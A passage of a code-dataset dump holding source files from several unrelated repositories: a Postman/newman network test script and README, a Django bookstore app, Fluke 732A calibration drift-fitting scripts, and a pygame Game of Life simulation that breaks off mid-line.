_test_id=\"iteration: $iteration collection: $collection folder: $folder\"\n echo $_test_id\n unbuffer newman run \"$collection\" --bail folder -n 1 --folder \"$folder\" --env-var \"odl_ip=$odl_ip\" --env-var \"data=$body\" --reporters cli,junit --reporter-junit-export \"./junit_results/$folder.xml\"; if [ \"$?\" != \"0\" ]; then echo \"$_test_id FAILED\" >> $logfile; fi\n\n replace_config_with_operational_duration=`cat \"./junit_results/replace_config_with_operational.xml\" | grep \"test_replace_config_with_operational\" | grep -E -o 'time=\"[0-9]+.[0-9]+\"' | grep -E -o '[0-9]+.[0-9]+'`\n echo \"replace_config_with_operational for $device_number devices duration: $replace_config_with_operational_duration sec\"\n\n if [ $(echo \"$replace_config_with_operational_duration>60\" | bc) -ne 0 ]; then\n echo \"it is greater\"\n error_msg=\"replace_config_with_operational for $device_number devices duration: $replace_config_with_operational_duration sec took more than 60sec test FAILED\"\n echo $error_msg\n echo $error_msg >> $logfile\n exit 1\n fi\n\n # sleep a while between each iteration\n sleep 10\ndone\n" }, { "alpha_fraction": 0.6242598295211792, "alphanum_fraction": 0.6430383920669556, "avg_line_length": 39.1972770690918, "blob_id": "787d5e0c1577faab186dd30513496bf142e68fc0", "content_id": "8c36027eb52fc8701816eb57e1e0c31e2e48646b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 5911, "license_type": "no_license", "max_line_length": 292, "num_lines": 147, "path": "/uniconfig_framework/test_script.sh", "repo_name": "FRINXio/Postman", "src_encoding": "UTF-8", "text": "#!/bin/bash\n# Steps to run the script\n# 1) create an input file in json format where keys are postman collection files\n# and values are tests to be run\n# {\n# \"pc_unified_mpls.json\": [\"Mpls-te CRUD\",\"Mpls-tunnel CRUD\"],\n# \"another file\": [\"another\",\"list of\",\"tests\"]\n# }\n# 2) to run it do:\n# ./test_script env_file json_input_file layer\n# where layer = uniconfig | unified\n# 3) Check if package.json is intializied before running Unsorted\n#set -exu\nset +x\n\nenv_file=$1\ntests_input_file=$2\nlayer=\"uniconfig\"\nif [ \"$3\" == \"unified\" ]; then\n layer=\"unified\"\nfi\nif [ \"$3\" == \"uniconfig-native\" ]; then\n layer=\"uniconfig-native\"\nfi\n\nmount_type=$4\n\nmount_collection=pc_mount_unmount.json\nif [ \"$env_file\" == \"xrv6.1.2_env.json\" ] ; then\n dev_pref=\"XR6\"\nelif [ \"$env_file\" == \"xrv5.3.4_env.json\" ] ; then\n dev_pref=\"XR5\"\nelif [ \"$env_file\" == \"classic_152_env.json\" ] ; then\n dev_pref=\"Classic\"\nelif [ \"$env_file\" == \"xe15_env.json\" ] ; then\n dev_pref=\"XE\"\nelif [ \"$env_file\" == \"junos173virt_env.json\" ] ; then\n dev_pref=\"Junos\"\nelif [ \"$env_file\" == \"junos14virt_env.json\" ] ; then\n dev_pref=\"Junos\"\nelif [ \"$env_file\" == \"junos182virt_env.json\" ] ; then\n dev_pref=\"Junos\"\nelif [ \"$env_file\" == \"asr-version5.3.4_env.json\" ] ; then\n dev_pref=\"ASR\"\nelif [ \"$env_file\" == \"xrv6.1.2-cli5.3.4_env.json\" ] ; then\n dev_pref=\"XR5\"\nelif [ \"$env_file\" == \"asr_env.json\" ] ; then\n dev_pref=\"ASR\"\nelif [ \"$env_file\" == \"xrv6.2.3-cli5.3.4_env.json\" ] ; then\n dev_pref=\"XR5\"\nelif [ \"$env_file\" == \"xrv6.2.3_env.json\" ] ; then\n dev_pref=\"XRV6.2.3\"\nelif [ \"$env_file\" == \"xrv7.0.1-cli5.3.4_env.json\" ] ; then\n dev_pref=\"XR5\"\nelif [ \"$env_file\" == \"xrv7.0.1_env.json\" ] ; then\n dev_pref=\"XR6\"\nelif [ \"$env_file\" == \"xrv6.6.1_env.json\" ] ; then\n dev_pref=\"XR6\"\nelif [ \"$env_file\" == \"sros13_env.json\" ] ; then\n dev_pref=\"SROS13\"\nelif [ \"$env_file\" == \"sros14_env.json\" ] ; then\n dev_pref=\"SROS14\"\nelif [ \"$env_file\" == \"sros16_env.json\" ] ; then\n dev_pref=\"SROS16\"\nelif [ \"$env_file\" == \"testtool_env.json\" ] ; then\n dev_pref=\"TESTTOOL\"\nelif [ \"$env_file\" == \"vnf20_env.json\" ] ; then\n dev_pref=\"VNF20\"\nelif [ \"$env_file\" == \"vnf16_env.json\" ] ; then\n dev_pref=\"VNF16\"\nelse\n echo \"Unsupported env file: $env_file\"\n exit 1\nfi\ndevice=$env_file\n\nfile=list.txt\nif [ -f $file ] ; then\n rm $file\nfi\n\necho \"Going to test with env_file $env_file. Assigned prefix is: \\\"$dev_pref\\\".\"\nmkdir -p junit_results\n\nfolder=\"$dev_pref-$mount_type Mount $layer\"\necho \"Performing $folder\"\nunbuffer newman run $mount_collection --bail -e $device -n 1 --folder \"$folder\" --reporters cli,junit --reporter-junit-export \"./junit_results/mount.xml\"; if [ \"$?\" != \"0\" ]; then\n echo \"Collection $mount_collection with environment $device testing $folder $mount_type FAILED\" >> $file\n if [ -f $file ] ; then\n cat $file\n rm $file\n fi\n echo \"DEVICE HAS NOT BEEN MOUNTED\"\n exit 1\nfi\n\ntxt_collections=\"`cat $tests_input_file | jq -c keys_unsorted[]`\"\necho $txt_collections\ndeclare -a \"collections=($txt_collections)\"\necho ${collections[@]}\ni=0\nfor collection in \"${collections[@]}\"\ndo\n txt_folders=`cat $tests_input_file | jq -c .\"\\\"$collection\\\"\"[]`\n declare -a \"folders=($txt_folders)\"\n for folder in \"${folders[@]}\"\n do\n ((i++))\n rfolder=\"$dev_pref $folder READERS\"\n echo \"Performing $rfolder from file $collection\"\n unbuffer newman run $collection -e $device -n 1 --folder \"$rfolder\" --reporters cli,junit --reporter-junit-export \"./junit_results/$rfolder.xml\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing ($dev_pref) $rfolder $mount_type FAILED\" >> $file; fi\n\n coll_len=`echo $folder | wc -w`\n coll_arr=($folder)\n ll=`if [ $coll_len -gt 2 ]; then le=$(($coll_len-1)); echo $le; else echo $coll_len;fi`\n sfolder=\"$dev_pref ${coll_arr[@]:0:${ll}} Setup\"\n echo \"Performing $sfolder from file $collection\"\n unbuffer newman run $collection -e $device -n 1 --folder \"$sfolder\" --reporters cli,junit --reporter-junit-export \"./junit_results/$sfolder$i.xml\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing ($dev_pref) $sfolder $mount_type FAILED\" >> $file; fi\n if [ \"$folder\" == \"FRHD-506\" ]; then\n echo \"Performing $folder from file $collection\"\n npm init -y > /dev/null #remove > /dev/null for further information about init \n npm i --silent async newman path\n node pc_uniconfig_parallel_tests.js\n if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing ($dev_pref) $folder $mount_type FAILED\" >> $file; fi\n else\n echo \"Performing $folder from file $collection\"\n unbuffer newman run $collection -e $device -n 1 --folder \"$folder\" --reporters cli,junit --reporter-junit-export \"./junit_results/$folder$i.xml\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing ($dev_pref) $folder $mount_type FAILED\" >> $file; fi\n fi\n tfolder=\"$dev_pref ${coll_arr[@]:0:${ll}} Teardown\"\n echo \"Performing $tfolder from file $collection\"\n unbuffer newman run $collection -e $device -n 1 --folder \"$tfolder\" --reporters cli,junit --reporter-junit-export \"./junit_results/$tfolder$i.xml\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing ($dev_pref) $tfolder $mount_type FAILED\" >> $file; fi\n sleep 2\n done\ndone\n\nfolder=\"$dev_pref-$mount_type Unmount $layer\"\necho \"Performing $folder\"\nunbuffer newman run $mount_collection --bail -e $device -n 1 --folder \"$folder\" --reporters cli,junit --reporter-junit-export \"./junit_results/unmount.xml\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $mount_collection with environment $device testing $folder $mount_type FAILED\" >> $file; fi\n\nif [ -f $file ] ; then\n cat $file\n rm $file\nelif [ -d \"node_modules\" ];then\n rm -rf node_modules\n rm package.json\n rm package-lock.json\nfi\n\n\n" }, { "alpha_fraction": 0.768208384513855, "alphanum_fraction": 0.7735247015953064, "avg_line_length": 61.63333511352539, "blob_id": "8dd99bab4e70fa78e8717291ab79775355b72830", "content_id": "136c3441f948d8fc3a6eb64bd08753b93fd4f12f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1881, "license_type": "no_license", "max_line_length": 337, "num_lines": 30, "path": "/README.md", "repo_name": "FRINXio/Postman", "src_encoding": "UTF-8", "text": "\n# Usage\nEach new release of Frinx ODL (from 3.1.1 onwards) has associated Postman collections and environment files that form the API for interacting with Frinx ODL and are contained within this repository. For more info please see our main [API documentation page] (https://frinxio.github.io/Frinx-docs/FRINX_ODL_Distribution/Carbon/API.html) \n\nTo download:\n\n1. Both the Frinx **Postman collection** and **Postman environment** files are grouped by Frinx ODL release (starting with 3.1.1) and packaged as zip files [here](https://github.com/FRINXio/Postman/releases). \n \n2. On that page, scroll to the release number that matches the Frinx ODL Distribution you are using, and click on zip to download. \n\n![Select release](zip-files.png \"Select release\") \n\n3. In a terminal on your local machine, unzip the downloaded file. This will create a new directory which contains subdirectory `Uniconfig Framework`, contains at least one Postman collection file (and in some cases an associated Postman environment file). \n\n4. You can now import these Postman collection and environments files into Postman (which can be downloaded from [here](https://www.getpostman.com/)) as you require: \n\nStart Postman and click on `Import` near the top-left of the screen. \n\nIn the pop-up window which opens, click to select the file you want to import (collection file or environment file). The collection or environment will now be available for use. \n\n![Import into Postman](import.png \"Import into Postman\") \n\nFor further guidance on using Postman please see our main [API documentation page](https://frinxio.github.io/Frinx-docs/FRINX_ODL_Distribution/Carbon/API.html) \n\nFor more information on particular modules, please see our documentation pages [here](https://frinxio.github.io/Frinx-docs/)\n\n\n\n=======\n# Postman\nThe API for Frinx. Contains postman collections and environments.\n\n" } ]
18
wissemkhrarib/Bookstore---Django
https://github.com/wissemkhrarib/Bookstore---Django
e37b3d83a28e6a160de360525884e5dcfaa8c4bb
ffae45a3c089e4fdd5ec75f3e0f06903445539d3
976231d3c81cd89c55c104d74f32c53c7f066393
refs/heads/main
2023-01-20T10:30:51.096140
2020-11-29T14:47:40
2020-11-29T14:47:40
316,901,742
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.734375, "alphanum_fraction": 0.734375, "avg_line_length": 21.714284896850586, "blob_id": "f5817e289bdbec636ef5e1ced1c328e67beb838a", "content_id": "50c54e1024c94fd0847ea455ce8e8b2d186cf331", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 320, "license_type": "no_license", "max_line_length": 53, "num_lines": 14, "path": "/books/admin.py", "repo_name": "wissemkhrarib/Bookstore---Django", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import Book, Author\n\n\nclass BookAdmin(admin.ModelAdmin):\n list_display = ('name', 'serie_number', 'author')\n\n\nclass AuthorAdmin(admin.ModelAdmin):\n list_display = ('firstname', 'email')\n\n\nadmin.site.register(Book, BookAdmin)\nadmin.site.register(Author, AuthorAdmin)\n\n\n" }, { "alpha_fraction": 0.65625, "alphanum_fraction": 0.65625, "avg_line_length": 14.875, "blob_id": "8e46f84fb1dc23da0f6cde4acbf8c93ea63a9fac", "content_id": "91e668523e1993ed05962edddccbe25870f088f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 128, "license_type": "no_license", "max_line_length": 28, "num_lines": 8, "path": "/books/urls.py", "repo_name": "wissemkhrarib/Bookstore---Django", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom books import views\n\n\nurlpatterns = [\n path('', views.index),\n path('new', views.new)\n]\n\n" }, { "alpha_fraction": 0.6733871102333069, "alphanum_fraction": 0.6995967626571655, "avg_line_length": 27.823530197143555, "blob_id": "5c2da277b796810c28b0055a9c5628e63e333bf1", "content_id": "f57dcbdf5e393ca8cecbe29d38e76230df63ade0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 496, "license_type": "no_license", "max_line_length": 64, "num_lines": 17, "path": "/books/models.py", "repo_name": "wissemkhrarib/Bookstore---Django", "src_encoding": "UTF-8", "text": "from django.db import models\n\n\nclass Author(models.Model):\n firstname = models.CharField(max_length=255)\n lastname = models.CharField(max_length=255)\n email = models.EmailField()\n\n def __str__(self):\n return self.firstname+' '+self.lastname\n\n\nclass Book(models.Model):\n name = models.CharField(max_length=255)\n description = models.CharField(max_length=1000)\n serie_number = models.IntegerField()\n author = models.ForeignKey(Author, on_delete=models.CASCADE)\n\n\n\n\n\n\n" } ]
3
kissme2020/Metrology_Forecaster
https://github.com/kissme2020/Metrology_Forecaster
7a99eef99e8abc13396cdea5991664c7599a3a04
0d1a46a359b872d034404d6ae2e56b5227f892b2
e86d7b0338a7b99d080ee48f2abc7ed37827fe2b
refs/heads/main
2023-05-30T22:38:20.662020
2021-06-04T08:16:54
2021-06-04T08:16:54
372,828,466
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5847942233085632, "alphanum_fraction": 0.6006643176078796, "avg_line_length": 21.485477447509766, "blob_id": "ced8c6ad12d79209c55373b8c719b6c3f422657c", "content_id": "ec3f57df9b62ccc6306f714b84a8b50337df9e98", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5419, "license_type": "permissive", "max_line_length": 64, "num_lines": 241, "path": "/src/Fluke_732A.py", "repo_name": "kissme2020/Metrology_Forecaster", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on <2021-06-01 Tue>.\n\npython scripts for Fluke 732A 10V Ref Object and relate function\n\nFluke 734A csv data file format\nmodel\nS/N\nCal_Date,Measure,Uncr,Uncrr_Unit,k\n\n@author: tskdkim\n\"\"\"\n\n\n# Futures\nfrom __future__ import print_function\n\n# Built-in/Generic Imports\nimport os\n# import sys\n# from pathlib import Path\n\n# from datetime import datetime\n# import importlib\n# import numpy as np\n# import matplotlib\n\n# import csv\n# import dash\n# import dash_core_components as dcc\n# import dash_html_components as html\n# from dash.dependencies import Output, Input\n# import plotly.express as px\n# import plotly.graph_objects as go\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# Own modules\nfrom files import get_data_path, read_csv\n# from myFile import DF_csv\n# from myTime import My_timeDate\n# from fund_class import Fund\n# from index_class import Idx\n\n# Package\nfrom scipy.optimize import curve_fit\nfrom scipy import stats\nimport statsmodels.api as sm\n\n# from {path} import {class}\n\n\n\"\"\"\nHelp function\n\"\"\"\n\n\ndef read_data(fn):\n \"\"\"Read Cal Data from csv file.\n\n fn: String file name with full path\n row1: model\n row2: S/N\n row3: columns\n below row 3, calibration data corresponding\n columns on row3\n Return model, sn, list of columns and Data Frame\n \"\"\"\n # Read csv file\n alist = read_csv(fn)\n # Information of unit, Model, S/N, Unit\n infor = alist.pop(0)\n cols = alist.pop(0)\n\n # Get index of columns to Convert float\n # and Date\n num_cols_inds = [cols.index(\"Nominal\"),\n cols.index(\"Measure\"),\n cols.index(\"Uncer_95\")]\n\n for vals in alist:\n # Iterate data list and converter it\n # as proper data type\n for i in range(len(vals)):\n # Iterate list of each row\n if i in num_cols_inds:\n # Convert it as float\n vals[i] = float(vals[i])\n\n # Create Data Frame for data\n data = pd.DataFrame(alist,\n columns=cols)\n # Convert Cal_Data to time_date,\n data[\"Cal_Date\"] = pd.to_datetime(data[\"Cal_Date\"],\n format='%d-%b-%Y')\n # Return Model, S/N, columns, and Calibration Data\n return infor, data\n\n\n\"\"\"\nFunction for linear approximation\n\"\"\"\n\n\ndef first_order_func(x, a, b):\n \"\"\"For linear Approximation.\n\n x: List or array, independence variable\n a: Float, coefficient of first order x\n b: Float, intercept of linear approximation\n \"\"\"\n return a*x + b\n\n\n\"\"\"\nClass of Fluke 732A 10V REF\n\"\"\"\n\n\n# Test Code\n\n\n\"\"\"\nRead csv file\n\"\"\"\n\n# Get data file full path and file name\nf_name = 'Fluke_732A70001.csv'\ndata_dir = 'data'\nfn = get_data_path(os.getcwd(),\n data_dir,\n f_name)\n\n# Read CSV file of Fluke_732A34567.csv\ninfor, data = read_data(fn)\n\n# difference from nominal\ny = data.Measure - data.Nominal\n\n\n\"\"\"\nUse Best fit of scipy.\nCalculated Best Fit\n\"\"\"\n\n\n# Get difference as days of calibration date\ncal_days = [0] # Set initial daty as 0\n# cal_days = [] # Set initial daty as 0\nfor i in range(len(data.Cal_Date) - 1):\n # Iterate Cal Date\n delta = data.Cal_Date[i+1] - data.Cal_Date[i]\n # cal_days.append(delta.days)\n cal_days.append(cal_days[-1] + delta.days)\n\ncal_days = np.array(cal_days)\n\n# Get linear approximation line\npopt, pcov = curve_fit(first_order_func,\n cal_days,\n y)\n# Linear fit\nlinear_fit_y = first_order_func(cal_days, *popt)\n\n\n\"\"\"\nGet prediction interval\ny_0 +- t_crit * se\n\ny_0: predicted value from linear approximation\nt_crit: Inverse of the Student's t-distribution\nse: standard error of the prediction\n s_yx * sqrt(1 + 1/n + ((x-x_mean)^2/ sample mean of x))\n\"\"\"\n\n\n# Get s_yx\nx_prime = sm.add_constant(cal_days)\nmodel = sm.OLS(y, x_prime)\nfit = model.fit()\ns_yx = np.sqrt(fit.mse_resid)\nss_x = ((cal_days - np.mean(cal_days)) ** 2.0).sum()\np_se = s_yx * np.sqrt(1 + (\n 1 / len(y)) + (\n (cal_days - (np.mean(cal_days)) ** 2.0) / ss_x))\nt_crit = stats.t.ppf(1 - 0.025,\n len(cal_days)-2)\n\npredict_up_err = linear_fit_y + (t_crit * p_se)\npredict_low_err = linear_fit_y - (t_crit * p_se)\n\n# Plot scatter for different from nominal value\nmrk_size = 10\nplt.scatter(data['Cal_Date'],\n y,\n color='b',\n marker='*',\n s=mrk_size)\n# Plot error bar\nplt.errorbar(data['Cal_Date'],\n y,\n yerr=data[\"Uncer_95\"],\n linestyle=\"None\",\n marker=\"None\",\n color=\"b\",\n # Change error bar's cap size\n capsize=mrk_size/5,\n # Change Error bar's thickness\n elinewidth=mrk_size/15)\n\n# # Horizontal Line of Zero\n# plt.axhline(y=0.0,\n# color='black',\n# linestyle='--',\n# linewidth=mrk_size/10,\n# label=\"Nomial\")\n\n# Plot linear approximation\nplt.plot(data['Cal_Date'],\n linear_fit_y,\n linestyle='--',\n linewidth=mrk_size/9,\n label=\"best_fit_scipy\")\n\n# Plot linear approximation\nplt.plot(data['Cal_Date'],\n predict_low_err,\n linestyle='--',\n linewidth=mrk_size/13,\n label=\"lower\")\n\nplt.plot(data['Cal_Date'],\n predict_up_err,\n linestyle='--',\n linewidth=mrk_size/13,\n label=\"upper\")\n\nplt.legend()\nplt.show()\n" }, { "alpha_fraction": 0.6139748096466064, "alphanum_fraction": 0.619702160358429, "avg_line_length": 19.541175842285156, "blob_id": "23b677323c5d2b0786a1d42d6910088f0a7e77a8", "content_id": "340adebad4420e151982ae1eefb044ed582cac6d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1746, "license_type": "permissive", "max_line_length": 63, "num_lines": 85, "path": "/src/files.py", "repo_name": "kissme2020/Metrology_Forecaster", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on <2021-06-01 Tue>\n\npython scripts to read write file.\n\n@author: tskdkim\n\"\"\"\n\n\n# Futures\nfrom __future__ import print_function\n\n# Built-in/Generic Imports\n\n# import sys\nimport os\nfrom pathlib import Path\n\n# from datetime import datetime\n# import importlib\n# import numpy as np\n# import matplotlib\n# import matplotlib.pyplot as plt\n# import pandas as pd\nimport csv\n# import dash\n# import dash_core_components as dcc\n# import dash_html_components as html\n# from dash.dependencies import Output, Input\n# import plotly.express as px\n# import plotly.graph_objects as go\n\n# Own modules\n# from myFile import DF_csv\n# from myTime import My_timeDate\n# from fund_class import Fund\n# from index_class import Idx\n\n# libs\n\n# from {path} import {class}\n\n\n\"\"\"\nPath related function\n\"\"\"\n\n\ndef get_data_path(path,\n data_dir,\n fn=None):\n \"\"\"Return data path of given working path.\n\n path: String, path\n data_dir: String, directory name of data\n fn: String File name, Default None\n \"\"\"\n # Get parent path\n p = Path(path)\n\n if fn is not None:\n # If file name Exits\n return os.path.join(p.parent.absolute(),\n data_dir,\n fn)\n else:\n # If file name not Exits\n return os.path.join(p.parent.absolute(),\n data_dir)\n\n\ndef read_csv(fn, delimiterStr=','):\n \"\"\"Read csv file.\n\n fn: file name\n return as a string list.\n \"\"\"\n result = [] # s alist of result.\n with open(fn, encoding='utf-8-sig') as csv_file:\n csv_read = csv.reader(csv_file, delimiter=delimiterStr)\n for raw in csv_read:\n result.append(raw)\n\n return result\n" } ]
2
mabelemellie/GameofLife
https://github.com/mabelemellie/GameofLife
3ad6f45cdad7a086cd0656556d7326b3db3bdbe1
630475789c80630927d1943ef690640695db52f7
39f1e18e9c5b30397b529315647cb8b2b5545e96
refs/heads/main
2023-08-23T01:43:15.271342
2021-11-05T23:52:04
2021-11-05T23:52:04
425,113,767
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.42698007822036743, "alphanum_fraction": 0.4597853720188141, "avg_line_length": 31.80208396911621, "blob_id": "ef407eac043616ff0cd488c8f8162d083cd9049e", "content_id": "e04923e34bef76706fc76de57211b85e5d70c60c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9785, "license_type": "no_license", "max_line_length": 167, "num_lines": 288, "path": "/GameOfLifeOld.py", "repo_name": "mabelemellie/GameofLife", "src_encoding": "UTF-8", "text": "import time\r\nfrom time import perf_counter as clock\r\nimport math\r\nimport random\r\nimport pygame, sys\r\nfrom pygame.locals import *\r\nimport numpy as np\r\n\r\npygame.init()\r\n\r\n# Colors\r\nLIME = [0,255,0]\r\nBLUE = [0,0,255]\r\nRED = [255,0,0]\r\nMAROON = [128,0,0]\r\nGREEN = [0,128,0]\r\nNAVY = [0,0,128]\r\nYELLOW = [255,255,0]\r\nFUCHSIA = [255,0,255]\r\nAQUA = [0,255,255]\r\nOLIVE = [128,128,0]\r\nPURPLE = [128,0,128]\r\nTEAL = [0,128,128]\r\nORANGE = [255,120,0]\r\nBLACK = [0,0,0]\r\nWHITE = [255,255,255]\r\nGRAY = [128,128,128]\r\nSILVER = [192,192,192]\r\nDGRAY = [64,64,64]\r\n\r\ndef GameOfLife():\r\n ## Create window ##\r\n size = [700,1000]\r\n height = size[0]\r\n width = size[1]\r\n DSURF = pygame.display.set_mode((width,height))\r\n pygame.display.set_caption('Game Of Life')\r\n\r\n b = 1\r\n grain = 5 # Size of a box in pixels\r\n spawnChance = 97\r\n height1 = round(height/grain)\r\n width1 = round(width/grain)\r\n\r\n blockArray = []\r\n## lifeList = np.zeros((width1,height1),dtype=int)\r\n aliveCount = 0\r\n for i in range(b,width1-b):\r\n for j in range(b,height1-b):\r\n c = random.randrange(100)\r\n if c > spawnChance:\r\n## lifeList[i][j] = 1\r\n blockArray.append(lifeblock(i,j,True))\r\n aliveCount += 1\r\n else:\r\n blockArray.append(lifeblock(i,j))\r\n print(\"blockArray completed\", aliveCount,len(blockArray),blockArray[100].x)\r\n\r\n # Assign Neighbors\r\n for m in range(len(blockArray)):\r\n blockArray[m].getNeighbors(blockArray,m)\r\n blockArray[m].splitNeighbors()\r\n print(\"Neighbors Assigned\")\r\n\r\n # Draw\r\n for i in range(len(blockArray)):\r\n if blockArray[i].alive == True:\r\n bl = blockArray[i]\r\n pygame.draw.rect(DSURF,[255,255,0],(bl.x*grain,bl.y*grain,grain,grain))\r\n pygame.display.update()\r\n\r\n # Pause before starting\r\n pauseGame()\r\n \r\n time = 0\r\n while True:\r\n DSURF.fill(BLACK)\r\n## for i in range(b,width1-b):\r\n## for j in range(b,height1-b):\r\n## if lifeList[i,j] > 0:\r\n## e = lifeList[i,j]\r\n## if e > 5:\r\n## e = 5\r\n## pygame.draw.rect(DSURF,[255,255,0],(i*grain,j*grain,grain,grain),0)\r\n aliveCount = 0\r\n for i in range(len(blockArray)):\r\n if blockArray[i].alive == True:\r\n aliveCount += 1\r\n bl = blockArray[i]\r\n pygame.draw.rect(DSURF,[255,255,0],(bl.x*grain,bl.y*grain,grain,grain))\r\n \r\n pygame.display.update()\r\n\r\n\r\n for j in range(len(blockArray)):\r\n blockArray[j].reset()\r\n for k in range(len(blockArray)):\r\n blockArray[k].tellNeighbors()\r\n for n in range(len(blockArray)):\r\n blockArray[n].symTest()\r\n for l in range(len(blockArray)):\r\n blockArray[l].iterateBlock()\r\n\r\n \r\n## lifeListNew = np.zeros((width1,height1),dtype=int)\r\n##\r\n## for i in range(b,width1-b):\r\n## for j in range(b,height1-b):\r\n## s = s_number(lifeList,i,j)\r\n## if time > 200 and s != 0:\r\n## print(s)\r\n## pauseGame(0.01)\r\n## t = symmetryTest(lifeList,i,j)\r\n## if t == True and s > 0:\r\n## #if t == True:\r\n## #lifeListNew[i,j] += 1\r\n## lifeListNew[i,j] = 1\r\n## if s > 4 or s < 2: #Any cell dies\r\n## if lifeList[i,j] > 0:\r\n## lifeListNew[i,j] = lifeList[i,j] - 1\r\n## elif s == 3: #Any cell thrives\r\n## lifeListNew[i,j] = lifeList[i,j] + 30\r\n## elif lifeList[i,j] == 1: #Remaining cells live\r\n## lifeListNew[i,j] = lifeList[i,j]\r\n#### p0 = random.randrange(10000)\r\n#### if p0 == 42 and lifeListNew[i,j] == 1:\r\n#### lifeListNew[i,j] += 1\r\n## \r\n#### if s == 2:\r\n#### p1 = random.randrange(10000)\r\n#### if p1 > 9998:\r\n#### lifeListNew[i,j] = 1\r\n#### p2 = random.randrange(1000)\r\n#### if p2 > 1000 and s == 1:\r\n#### lifeListNew[i,j] = 1\r\n## lifeList = lifeListNew\r\n for event in pygame.event.get():\r\n if event.type == QUIT: # Quit function\r\n pygame.quit()\r\n sys.exit()\r\n if event.type == KEYDOWN:\r\n if event.key == K_p:\r\n pauseGame()\r\n\r\n pygame.display.set_caption('Game Of Life - ' + str(time))\r\n time += 1\r\n #pauseGame()\r\n## if time == 200:\r\n## print(lifeList)\r\n\r\n\r\ndef s_number(lifeList,i,j):\r\n #g = random.choice([1,2])\r\n g = 1\r\n pop = 0\r\n## for k in range(-1,1):\r\n## for l in range(-1,1):\r\n## if k != 0 or l != 0:\r\n## pop += lifeList[i+k,j+l]\r\n for k in [-g,0,g]:\r\n for p in [-g,0,g]:\r\n pop += math.ceil(lifeList[i+k,j+p]/(lifeList[i+k,j+p]+5))\r\n pop -= lifeList[i,j]\r\n return pop\r\n \r\ndef symmetryTest(lifeList,i,j):\r\n if lifeList[i,j+1] == lifeList[i,j-1] and lifeList[i+1,j] == lifeList[i-1,j] and lifeList[i-1,j-1] == lifeList[i+1,j+1] and lifeList[i-1,j+1] == lifeList[i+1,j-1]:\r\n return True\r\n else:\r\n return False\r\n\r\ndef pauseGame(time = 0):\r\n a = clock()\r\n while True:\r\n if time != 0:\r\n b = clock() - a\r\n if b > time:\r\n return\r\n for event in pygame.event.get():\r\n if event.type == QUIT: # Quit function\r\n pygame.quit()\r\n sys.exit()\r\n if event.type == KEYDOWN:\r\n if event.key == K_m:\r\n return\r\n if event.key == K_p:\r\n pauseGame()\r\n\r\n\r\nclass lifeblock:\r\n #__slots__ = ['x','y','alive','neighborCount','neighbors','lifeNum','neighborsa','neighborsb']\r\n def __init__(self,x,y,alive = False):\r\n self.x = x\r\n self.y = y\r\n self.alive = alive\r\n self.neighborCount = 0\r\n self.neighbors = []\r\n if self.alive == True:\r\n self.lifeNum = 1\r\n else:\r\n self.lifeNum = 0\r\n self.neighborsa = []\r\n self.neighborsb = []\r\n self.sym = False\r\n\r\n def iterateBlock(lb,schema = \"Striver\"):\r\n if schema == \"Classic\":\r\n## print(lb.neighborCount)\r\n## pauseGame(0.05)\r\n if lb.neighborCount >= 4 or lb.neighborCount < 2: #Any cell dies\r\n lb.alive = False\r\n elif lb.neighborCount == 3: #Any cell thrives\r\n lb.alive = True\r\n elif schema == \"Maze\":\r\n if lb.neighborCount > 4 or lb.neighborCount < 2: #Any cell dies\r\n lb.alive = False\r\n elif lb.neighborCount == 3: #Any cell thrives\r\n lb.alive = True\r\n elif schema == \"Striver\": \r\n if lb.neighborCount == 3: #Any cell thrives\r\n lb.lifeNum += 30\r\n elif (lb.neighborCount < 2 or lb.neighborCount > 4) and lb.lifeNum > 0: #Any cell dies\r\n lb.lifeNum -= 1\r\n elif lb.sym == True and lb.neighborCount > 0:\r\n lb.lifeNum = 1\r\n else:\r\n lb.lifeNum = 0\r\n\r\n if lb.lifeNum <= 0:\r\n lb.alive = False\r\n else:\r\n lb.alive = True\r\n\r\n def reset(lb):\r\n lb.neighborCount = 0\r\n\r\n def getNeighbors(lb,blockArray,m):\r\n i = 1\r\n length = len(blockArray)\r\n for j in range(length):\r\n if m < 10: # If array is early, start from beginning\r\n b = blockArray[j]\r\n elif m > length-10: # If array is late, start from end\r\n b = blockArray[length-j-1]\r\n else: # If neither, look around location\r\n k = m + math.ceil(i*j/2)\r\n if k >= 0 and k < length:\r\n b = blockArray[k]\r\n i *= -1\r\n \r\n if abs(b.x - lb.x) <= 1 and abs(b.y -lb.y) <= 1:\r\n if b.x - lb.x != 0 or b.y - lb.y != 0:\r\n lb.neighbors.append(b)\r\n if len(lb.neighbors) >= 8:\r\n return\r\n \r\n def splitNeighbors(lb):\r\n for i in range(len(lb.neighbors) - 1):\r\n n1 = lb.neighbors[i]\r\n for j in range(len(lb.neighbors)-i-1):\r\n n2 = lb.neighbors[i+j+1]\r\n if n2.x - lb.x == lb.x - n1.x and n2.y - lb.y == lb.y - n1.y:\r\n lb.neighborsa.append(n1)\r\n lb.neighborsb.append(n2)\r\n## print(n2.x, n2.y, lb.x, lb.y, n1.x, 